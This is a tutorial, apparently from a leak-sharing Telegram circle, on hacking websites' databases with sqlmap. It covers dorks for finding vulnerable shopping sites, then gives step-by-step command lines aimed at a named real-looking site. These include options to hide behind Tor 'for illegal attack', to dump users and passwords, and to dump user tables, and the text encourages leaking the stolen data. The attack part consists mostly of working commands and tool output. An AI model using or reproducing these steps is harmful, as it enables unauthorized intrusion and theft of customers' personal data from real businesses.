How To Hack Databases
How To Hack Databases
I did already a tutorial about sqlmap but i think we should do this deeper.
Installation in Termux:
$ wget https://github.com/sqlmapproject/sqlmap/archive/master.zip
$ pkg install unzip python2
$ unzip master.zip
$ cd sqlmap-master
$ python2 sqlmap.py
What do we need?
We need dorks, what are dorks?
Dorks are specific keywords, to find specific files, targets or websites.
I found some nice dorks, you can use one of them, for example i want shopping sites.
https://pastr.io/view/jpkjfyAIaKy
To get some vulnerable links, you can use sqlmap or you search manually in google, bing or
duckduckgo.
itemspage.aspx?val=2
If you are using SQLi Dumper in Windows, you can copy all dorks, the tool will find it will all
available search engines and will save URLs for the injectable part.
--method=METHOD
There are some methods, to retrieve information about the target. I recognized that if i use GET it's
giving me errors. I tried another methods also, it gaves more methods, i can list it down below:
GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE
GET
The GET method is used to retrieve information from the given server using a given URI. Requests
using GET should only retrieve data and should have no other effect on the data.
HEAD
Same as GET, but transfers the status line and header section only.
POST
A POST request is used to send data to the server, for example, customer information, file upload,
etc. using HTML forms.
PUT
Replaces all current representations of the target resource with the uploaded content.
DELETE
CONNECT
OPTIONS
TRACE
Performs a message loop-back test along the path to the target resource.
https://www.tutorialspoint.com/http/http_methods.htm
One of the first warnings are „[04:13:10] [WARNING] detected empty POST body“
Since this warnings will print out, i know i can use the POST method.
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 --
method=POST
[03:50:05] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1
to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
--data=DATA
Data is for example „id=1“, you can use it, but if you insert the link with php?id=345 then it‘s
unecessary.
--mobile
>1
We are saying the browser with this option, that we are using a phone.
Is this options useful? - It‘s because some User-Agent are blocked. User-Agent telling the
browser // website:
- Device Model (Iphone, Android ...)
- Browser (Chrome, Firefox …)
- Browser Version (Mozillla Gecko/20100101 Firefox/67.0)
- Operating System Version (android 8.0...)
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 –
method=POST --mobile
--random-agent
This selects a random User-Agent, a 2nd version of the –mobile.
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 --
method=POST --random-agent
--ignore-401
It is ignoring the error code of HTTP 401 (Unauthorized), it‘s an optional option. If this gives you
an error, use --ignore-code=401
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 --
method=POST --random-agent --ignore-401
--tor
Using the tor anonymity network, if you have not VPN. A disadvantage is, most websites detects
the blacklisted IP‘s of TOR network. But‘s it‘s good if you doing illegal attack.
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 --
method=POST --random-agent --ignore-401 --tor
--retries=RETRIES
Here you can select the retries, when the connection timeouts. Sqlmap recommend to use value 3.
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 –
method=POST --random-agent --ignore-401 --tor --retries=3
--force-ssl
Force usage of SSL/HTTPS of a website, some websites are only HTTP, you can try it with –force-
ssl, if you are not getting a good result on http:// URLs.
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 --
method=POST --random-agent --ignore-401 --tor --retries=3 --force-ssl
--keep-alive
This using persistent HTTP(s) connections, which is trying to get no errors while testing, it‘s not
required to use.
--threads=THREADS
Max number of concurrent HTTP(s) requests, sqlmap‘s thread is 1, to speed up you can use 10.
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 --
method=POST --random-agent --ignore-401 --tor --retries=3 --force-ssl --
threads=10
--level=LEVEL
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 –
method=POST --random-agent --ignore-401 --tor --retries=3 --force-ssl --
threads=10 --level=5
--risk=RISK
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 --
method=POST --random-agent --ignore-401 --tor --retries=3 --force-ssl --
threads=10 --level=5 --risk=3
-f | --fingerprint
Perform an extensive Database Management System version fingerprint.
hese options can be used to enumerate the back-end database management system information,
structure and data contained in tables. Moreover you can run your own SQL statements
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 --
method=POST --random-agent --ignore-401 --tor --retries=3 --force-ssl --
threads=10 --level=5 --risk=3 -f
-a | --all
This retrieves all, i recommend to save output in a text file, because it‘s different from website to
website it will retrieve:
- Databases
- Tables
- Columns
And this are very much, for examples users/emails 20.000, this will flood your terminal.
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 --
method=POST --random-agent --ignore-401 --tor --retries=3 --force-ssl --
threads=10 --level=5 --risk=3 -f --all >> file.txt
--hostname
The hostname the name of the domain name server, it‘s print it out.
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 –
method=POST --random-agent --ignore-401 --tor --retries=3 --force-ssl --
threads=10 --level=5 --risk=3 -f --hostname
--users
--passwords
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 --
method=POST --random-agent --ignore-401 --tor --retries=3 --force-ssl --
threads=10 --level=5 --risk=3 -f --hostname --users --passwords
--dbs
This enumerates the database, you can use it before you enumerate the tables, which is
recommendable. Use --dbs to replace --users and --passwords.
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 --
method=POST --random-agent --ignore-401 --tor --retries=3 --force-ssl --
threads=10 --level=5 --risk=3 -f --hostname --dbs
--tables
Enumerates tables, useful to fetch later the columns like users, and so on.
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 --
method=POST --random-agent --ignore-401 --tor --retries=3 --force-ssl --
threads=10 --level=5 --risk=3 -f --hostname --tables
--columns
Enumerates table columns, we are adding -T for the table, and --columns for the item inside the
table.
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 --
method=POST --random-agent --ignore-401 --tor --retries=3 --force-ssl --
threads=10 --level=5 --risk=3 -f --hostname --columns
--dump
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 --
method=POST --random-agent --ignore-401 --tor --retries=3 --force-ssl --
threads=10 --level=5 --risk=3 -f --hostname -D finearts -T users --dump
-D = Database
-T = Tables
-C = Columns
-U = Users
--hex
$ sqlmap -u http://www.melbournefineart.com.au/gallery.php?id=18 --
method=POST --random-agent --ignore-401 --hex --tor --retries=3 --force-
ssl --threads=10 --level=5 --risk=3 -f --hostname -D finearts -T users --
dump
Simple wizard interface for beginners, and parsing errors while running.
$ sqlmap -g cart.php?id=3
Or google for Gaming shopping dorks, you can also create dorks, it gives you a higher chance to
find rares databases, i will make a tutorial about it in a another PDF.
URL found?
$ sqlmap -u https://xxxxx.com/xxx.php?id=2
GET parameter 'id' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
After we found 2 Databases, we will checkout their tables, by replacing --dbs with --tables
At table looks like this, it will print the columns inside the table, so let‘s fetch it.
Step 4.) Open the CSV and enjoy your data. (leaking is also possible)
FIXING ERRORS:
[04:59:31] [CRITICAL] can't establish connection with the Tor SOCKS
proxy. Please make sure that you have Tor service installed and setup so
you could be able to successfully use switch '--tor'
Remove -f option.
Remove --force-ssl
Use --no-cast
Use --time-sec=20
Remove –users
No error, they fetched only 1 database, you can try your luck but in most cases at this „ERROR“ it‘s
trash database.
Adding options: --parse-errors and --proxy will help, if not try to fetch banner using: --banner
[05:20:16] [ERROR] unable to retrieve the table names for any database
do you want to use common table existence check? [y/N/q] y
Do Y for Yes, then 1 for common list, and 10 for threads. Just wait.
Continue with C
Same as --tables just type Y for scanning, it will print you call columns.
TELEGRAM:
۞▬▬▬▬▬▬▬▬▬▬ ▬▬▬▬▬▬▬▬▬▬ ۞
t.me/rebl0x3r
t.me/deepwaterleaks (currently down)
t.me/deepwaterleaks2
۞▬▬▬▬▬▬▬▬▬▬ ▬▬▬▬▬▬▬▬▬▬ ۞